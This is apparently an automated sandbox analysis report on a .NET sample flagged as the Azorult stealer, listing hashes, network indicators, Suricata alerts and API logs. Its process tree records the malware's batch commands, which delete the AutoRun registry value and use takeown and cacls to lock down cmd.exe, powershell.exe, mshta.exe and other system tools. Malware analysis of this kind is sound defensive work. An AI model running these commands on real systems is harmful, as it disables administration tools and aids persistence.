Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	July 18, 2023, 7:16 a.m.	July 18, 2023, 7:25 a.m.

Size	387.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`ad607f046a6f855f06d0e7b2cab189c1`
SHA256	`552719d9dda2789ec880ab52ba8c7e695b631d6fab6d56474b4b6a4f8fe4c21e`
CRC32	`79FF024D`
ssdeep	`6144:VZVgqnvYmMKNLgYApEBQh9jToGZaFROm7kv6KreTqH6F:VZ+qnwSg/ECh9jTH3iGreTjF`
Yara	Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult Admin_Tool_IN_Zero - Admin Tool Sysinternals Is_DotNET_EXE - (no description) Malicious_Library_Zero - Malicious_Library PE_Header_Zero - PE File Signature IsPE32 - (no description)

rxtygf.exe "C:\Users\test22\AppData\Local\Temp\rxtygf.exe"
1680
- cmd.exe cmd /c ""C:\Users\Public\Pictures\Kill-Delete.bat" "
  2452
  - reg.exe reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f
    2528
  - takeown.exe takeown /f C:\Windows\system32\cmd.exe /a
    2572
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2620
  - cacls.exe cacls C:\Windows\system32\cmd.exe /g Administrators:f
    2656
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2712
  - cacls.exe cacls C:\Windows\system32\cmd.exe /e /g Users:r
    2748
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2804
  - cacls.exe cacls C:\Windows\system32\cmd.exe /e /g Administrators:r
    2840
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2900
  - cacls.exe cacls C:\Windows\system32\cmd.exe /e /d SERVICE
    2936
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2992
  - cacls.exe cacls C:\Windows\system32\cmd.exe /e /d mssqlserver
    3028
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    2116
  - cacls.exe cacls C:\Windows\system32\cmd.exe /e /d "network service"
    1156
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2420
  - cacls.exe cacls C:\Windows\system32\cmd.exe /e /g system:r
    2500
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    2560
  - cacls.exe cacls C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress
    2616
  - takeown.exe takeown /f C:\Windows\SysWOW64\cmd.exe /a
    2648
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2704
  - cacls.exe cacls C:\Windows\SysWOW64\cmd.exe /g Administrators:f
    2764
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2860
  - cacls.exe cacls C:\Windows\SysWOW64\cmd.exe /e /g Users:r
    2920
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2988
  - cacls.exe cacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r
    3048
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    948
  - cacls.exe cacls C:\Windows\SysWOW64\cmd.exe /e /d SERVICE
    2404
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2432
  - cacls.exe cacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver
    416
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    748
  - cacls.exe cacls C:\Windows\SysWOW64\cmd.exe /e /d "network service"
    2716
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2892
  - cacls.exe cacls C:\Windows\SysWOW64\cmd.exe /e /g system:r
    1228
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    2132
  - cacls.exe cacls C:\Windows\SysWOW64\cmd.exe /e /d mssql$sqlexpress
    2124
  - takeown.exe takeown /f C:\Windows\system32\net.exe /a
    2600
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2728
  - cacls.exe cacls C:\Windows\system32\net.exe /g Administrators:f
    2832
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2092
  - cacls.exe cacls C:\Windows\system32\net.exe /e /g Users:r
    3044
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2556
  - cacls.exe cacls C:\Windows\system32\net.exe /e /g Administrators:r
    2660
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    912
  - cacls.exe cacls C:\Windows\system32\net.exe /e /d SERVICE
    2612
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2676
  - cacls.exe cacls C:\Windows\system32\net.exe /e /d mssqlserver
    1072
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3020
  - cacls.exe cacls C:\Windows\system32\net.exe /e /d "network service"
    1044
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3084
  - cacls.exe cacls C:\Windows\system32\net.exe /e /d system
    3120
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3176
  - cacls.exe cacls C:\Windows\system32\net.exe /e /d mssql$sqlexpress
    3212
  - takeown.exe takeown /f C:\Windows\SysWOW64\net.exe /a
    3268
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3312
  - cacls.exe cacls C:\Windows\SysWOW64\net.exe /g Administrators:f
    3348
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3404
  - cacls.exe cacls C:\Windows\SysWOW64\net.exe /e /g Users:r
    3440
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3496
  - cacls.exe cacls C:\Windows\SysWOW64\net.exe /e /g Administrators:r
    3532
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3588
  - cacls.exe cacls C:\Windows\SysWOW64\net.exe /e /d SERVICE
    3624
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3680
  - cacls.exe cacls C:\Windows\SysWOW64\net.exe /e /d mssqlserver
    3716
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3772
  - cacls.exe cacls C:\Windows\SysWOW64\net.exe /e /d "network service"
    3808
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3864
  - cacls.exe cacls C:\Windows\SysWOW64\net.exe /e /d system
    3900
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3956
  - cacls.exe cacls C:\Windows\SysWOW64\net.exe /e /d mssql$sqlexpress
    3992
  - takeown.exe takeown /f C:\Windows\system32\net1.exe /a
    4048
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2512
  - cacls.exe cacls C:\Windows\system32\net1.exe /g Administrators:f
    3112
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3236
  - cacls.exe cacls C:\Windows\system32\net1.exe /e /g Users:r
    3324
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3420
  - cacls.exe cacls C:\Windows\system32\net1.exe /e /g Administrators:r
    3484
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3564
  - cacls.exe cacls C:\Windows\system32\net1.exe /e /d SERVICE
    3620
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3696
  - cacls.exe cacls C:\Windows\system32\net1.exe /e /d mssqlserver
    3684
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3852
  - cacls.exe cacls C:\Windows\system32\net1.exe /e /d "network service"
    3892
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3988
  - cacls.exe cacls C:\Windows\system32\net1.exe /e /d system
    4044
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3116
  - cacls.exe cacls C:\Windows\system32\net1.exe /e /d mssql$sqlexpress
    3188
  - takeown.exe takeown /f C:\Windows\SysWOW64\net1.exe /a
    3392
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3444
  - cacls.exe cacls C:\Windows\SysWOW64\net1.exe /g Administrators:f
    3408
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    1972
  - cacls.exe cacls C:\Windows\SysWOW64\net1.exe /e /g Users:r
    3760
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3876
  - cacls.exe cacls C:\Windows\SysWOW64\net1.exe /e /g Administrators:r
    3972
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3984
  - cacls.exe cacls C:\Windows\SysWOW64\net1.exe /e /d SERVICE
    3008
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3456
  - cacls.exe cacls C:\Windows\SysWOW64\net1.exe /e /d mssqlserver
    3600
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3740
  - cacls.exe cacls C:\Windows\SysWOW64\net1.exe /e /d "network service"
    3812
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3104
  - cacls.exe cacls C:\Windows\SysWOW64\net1.exe /e /d system
    3228
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3656
  - cacls.exe cacls C:\Windows\SysWOW64\net1.exe /e /d mssql$sqlexpress
    3536
  - takeown.exe takeown /f C:\Windows\system32\mshta.exe /a
    3896
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4088
  - cacls.exe cacls C:\Windows\system32\mshta.exe /g Administrators:f
    3828
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3372
  - cacls.exe cacls C:\Windows\system32\mshta.exe /e /g Users:r
    3732
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3568
  - cacls.exe cacls C:\Windows\system32\mshta.exe /e /g Administrators:r
    3340
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    2176
  - cacls.exe cacls C:\Windows\system32\mshta.exe /e /d SERVICE
    4120
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4176
  - cacls.exe cacls C:\Windows\system32\mshta.exe /e /d mssqlserver
    4212
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    4268
  - cacls.exe cacls C:\Windows\system32\mshta.exe /e /d "network service"
    4304
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4360
  - cacls.exe cacls C:\Windows\system32\mshta.exe /e /d system
    4396
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    4452
  - cacls.exe cacls C:\Windows\system32\mshta.exe /e /d mssql$sqlexpress
    4488
  - takeown.exe takeown /f C:\Windows\SysWOW64\mshta.exe /a
    4544
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4588
  - cacls.exe cacls C:\Windows\SysWOW64\mshta.exe /g Administrators:f
    4624
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4680
  - cacls.exe cacls C:\Windows\SysWOW64\mshta.exe /e /g Users:r
    4716
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4772
  - cacls.exe cacls C:\Windows\SysWOW64\mshta.exe /e /g Administrators:r
    4808
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4864
  - cacls.exe cacls C:\Windows\SysWOW64\mshta.exe /e /d SERVICE
    4900
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4968
  - cacls.exe cacls C:\Windows\SysWOW64\mshta.exe /e /d mssqlserver
    5004
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5060
  - cacls.exe cacls C:\Windows\SysWOW64\mshta.exe /e /d "network service"
    5096
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4152
  - cacls.exe cacls C:\Windows\SysWOW64\mshta.exe /e /d system
    4196
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    4280
  - cacls.exe cacls C:\Windows\SysWOW64\mshta.exe /e /d mssql$sqlexpress
    4348
  - takeown.exe takeown /f C:\Windows\system32\FTP.exe /a
    4432
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4504
  - cacls.exe cacls C:\Windows\system32\FTP.exe /g Administrators:f
    4564
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4648
  - cacls.exe cacls C:\Windows\system32\FTP.exe /e /g Users:r
    4696
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4792
  - cacls.exe cacls C:\Windows\system32\FTP.exe /e /g Administrators:r
    4844
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4936
  - cacls.exe cacls C:\Windows\system32\FTP.exe /e /d SERVICE
    4980
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5076
  - cacls.exe cacls C:\Windows\system32\FTP.exe /e /d mssqlserver
    4140
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    4256
  - cacls.exe cacls C:\Windows\system32\FTP.exe /e /d "network service"
    4336
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4400
  - cacls.exe cacls C:\Windows\system32\FTP.exe /e /d system
    4492
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    4592
  - cacls.exe cacls C:\Windows\system32\FTP.exe /e /d mssql$sqlexpress
    4660
  - takeown.exe takeown /f C:\Windows\SysWOW64\FTP.exe /a
    4884
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5036
  - cacls.exe cacls C:\Windows\SysWOW64\FTP.exe /g Administrators:f
    5112
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5064
  - cacls.exe cacls C:\Windows\SysWOW64\FTP.exe /e /g Users:r
    4420
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4572
  - cacls.exe cacls C:\Windows\SysWOW64\FTP.exe /e /g Administrators:r
    4740
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4852
  - cacls.exe cacls C:\Windows\SysWOW64\FTP.exe /e /d SERVICE
    5052
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4320
  - cacls.exe cacls C:\Windows\SysWOW64\FTP.exe /e /d mssqlserver
    4532
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    4628
  - cacls.exe cacls C:\Windows\SysWOW64\FTP.exe /e /d "network service"
    4932
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4372
  - cacls.exe cacls C:\Windows\SysWOW64\FTP.exe /e /d system
    4684
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5080
  - cacls.exe cacls C:\Windows\SysWOW64\FTP.exe /e /d mssql$sqlexpress
    4208
  - takeown.exe takeown /f C:\Windows\system32\wscript.exe /a
    4668
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    4232
  - cacls.exe cacls C:\Windows\system32\wscript.exe /g Administrators:f
    4296
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5164
  - cacls.exe cacls C:\Windows\system32\wscript.exe /e /g Users:r
    5200
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5256
  - cacls.exe cacls C:\Windows\system32\wscript.exe /e /g Administrators:r
    5292
  - cacls.exe cacls C:\Windows\system32\wscript.exe /e /d SERVICE
    5384
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5348
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5440
  - cacls.exe cacls C:\Windows\system32\wscript.exe /e /d mssqlserver
    5476
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5532
  - cacls.exe cacls C:\Windows\system32\wscript.exe /e /d "network service"
    5568
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5624
  - cacls.exe cacls C:\Windows\system32\wscript.exe /e /d system
    5660
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5716
  - cacls.exe cacls C:\Windows\system32\wscript.exe /e /d mssql$sqlexpress
    5752
  - takeown.exe takeown /f C:\Windows\SysWOW64\wscript.exe /a
    5808
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5852
  - cacls.exe cacls C:\Windows\SysWOW64\wscript.exe /g Administrators:f
    5888
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5944
  - cacls.exe cacls C:\Windows\SysWOW64\wscript.exe /e /g Users:r
    5980
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6036
  - cacls.exe cacls C:\Windows\SysWOW64\wscript.exe /e /g Administrators:r
    6072
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6128
  - cacls.exe cacls C:\Windows\SysWOW64\wscript.exe /e /d SERVICE
    4116
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5236
  - cacls.exe cacls C:\Windows\SysWOW64\wscript.exe /e /d mssqlserver
    5284
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5360
  - cacls.exe cacls C:\Windows\SysWOW64\wscript.exe /e /d "network service"
    5388
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5444
  - cacls.exe cacls C:\Windows\SysWOW64\wscript.exe /e /d system
    5564
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5652
  - cacls.exe cacls C:\Windows\SysWOW64\wscript.exe /e /d mssql$sqlexpress
    5712
  - takeown.exe takeown /f C:\Windows\system32\cscript.exe /a
    5796
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5864
  - cacls.exe cacls C:\Windows\system32\cscript.exe /g Administrators:f
    5932
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6016
  - cacls.exe cacls C:\Windows\system32\cscript.exe /e /g Users:r
    6064
  - cacls.exe cacls C:\Windows\system32\cscript.exe /e /g Administrators:r
    5216
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6140
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5168
  - cacls.exe cacls C:\Windows\system32\cscript.exe /e /d SERVICE
    5436
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5544
  - cacls.exe cacls C:\Windows\system32\cscript.exe /e /d mssqlserver
    5636
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5784
  - cacls.exe cacls C:\Windows\system32\cscript.exe /e /d "network service"
    5868
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5996
  - cacls.exe cacls C:\Windows\system32\cscript.exe /e /d system
    6108
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5196
  - cacls.exe cacls C:\Windows\system32\cscript.exe /e /d mssql$sqlexpress
    5232
  - takeown.exe takeown /f C:\Windows\SysWOW64\cscript.exe /a
    5552
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5736
  - cacls.exe cacls C:\Windows\SysWOW64\cscript.exe /g Administrators:f
    5788
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6028
  - cacls.exe cacls C:\Windows\SysWOW64\cscript.exe /e /g Users:r
    5160
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5452
  - cacls.exe cacls C:\Windows\SysWOW64\cscript.exe /e /g Administrators:r
    5644
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5976
  - cacls.exe cacls C:\Windows\SysWOW64\cscript.exe /e /d SERVICE
    6068
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5328
  - cacls.exe cacls C:\Windows\SysWOW64\cscript.exe /e /d mssqlserver
    5252
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3396
  - cacls.exe cacls C:\Windows\SysWOW64\cscript.exe /e /d "network service"
    3180
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    5132
  - cacls.exe cacls C:\Windows\SysWOW64\cscript.exe /e /d system
    3284
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    5340
  - cacls.exe cacls C:\Windows\SysWOW64\cscript.exe /e /d mssql$sqlexpress
    5812
  - takeown.exe takeown /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /a
    5480
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6176
  - cacls.exe cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f
    6212
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6268
  - cacls.exe cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r
    6304
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6360
  - cacls.exe cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r
    6396
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6452
  - cacls.exe cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE
    6488
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6544
  - cacls.exe cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver
    6580
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    6636
  - cacls.exe cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"
    6672
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6732
  - cacls.exe cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d system
    6768
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    6824
  - cacls.exe cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress
    6860
  - takeown.exe takeown /f C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /a
    6916
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6960
  - cacls.exe cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f
    6996
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    7052
  - cacls.exe cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r
    7088
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    7144
  - cacls.exe cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r
    6160
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6244
  - cacls.exe cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE
    6300
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6372
  - cacls.exe cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver
    6364
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    6532
  - cacls.exe cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"
    6572
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6668
  - cacls.exe cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d system
    6728
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    6736
  - cacls.exe cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress
    6884
  - takeown.exe takeown /f C:\ProgramData /a
    6944
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    7012
  - cacls.exe cacls C:\ProgramData /g Administrators:f
    7064
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    7164
  - cacls.exe cacls C:\ProgramData /e /g Users:r
    6208
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6356
  - cacls.exe cacls C:\ProgramData /e /g Administrators:r
    6412
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6536
  - cacls.exe cacls C:\ProgramData /e /d SERVICE
    6648
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6788
  - cacls.exe cacls C:\ProgramData /e /d mssqlserver
    6852
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    6992
  - cacls.exe cacls C:\ProgramData /e /d "network service"
    7112
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6264
  - cacls.exe cacls C:\ProgramData /e /d system
    6336
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    6448
  - cacls.exe cacls C:\ProgramData /e /d mssql$sqlexpress
    6692
  - takeown.exe takeown /f C:\Users\Public /a
    6908
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    7040
  - cacls.exe cacls C:\Users\Public /g Administrators:f
    2012
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6524
  - cacls.exe cacls C:\Users\Public /e /g Users:r
    6700
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6972
  - cacls.exe cacls C:\Users\Public /e /g Administrators:r
    6340
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6632
  - cacls.exe cacls C:\Users\Public /e /d SERVICE
    6804
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    6600
  - cacls.exe cacls C:\Users\Public /e /d mssqlserver
    7048
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    7196
  - cacls.exe cacls C:\Users\Public /e /d "network service"
    7232
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo y"
    7288
  - cacls.exe cacls C:\Users\Public /e /d system
    7324
  - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    7380
  - cacls.exe cacls C:\Users\Public /e /d mssql$sqlexpress
    7416
- AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  7492

Name	Response	Post-Analysis Lookup
whyers.io	A 104.21.76.77 A 172.67.191.103	172.67.191.103
api.ipify.org	A 64.185.227.156 CNAME api4.ipify.org A 104.237.62.211 A 173.231.16.76	64.185.227.156

IP Address	Status	Action
104.21.76.77	Active	Moloch
164.124.101.2	Active	Moloch
173.231.16.76	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49509 -> 104.21.76.77:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49508 -> 173.231.16.76:80	2021997	ET POLICY External IP Lookup api.ipify.org	Device Retrieving External IP Address Detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49509 104.21.76.77:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=whyers.io	b5:70:31:dc:b0:cd:7d:e9:af:71:21:ec:4b:e6:97:ce:e4:da:a6:57

Queries for the computername (20 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:16 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 18, 2023, 7:17 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 18, 2023, 7:18 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 18, 2023, 7:18 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 18, 2023, 7:16 a.m.			0	0
IsDebuggerPresent July 18, 2023, 7:16 a.m.			0	0

Command line console output was observed (50 out of 4278 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW July 18, 2023, 7:16 a.m.	buffer: reg console_handle: 0x00000007	1	1
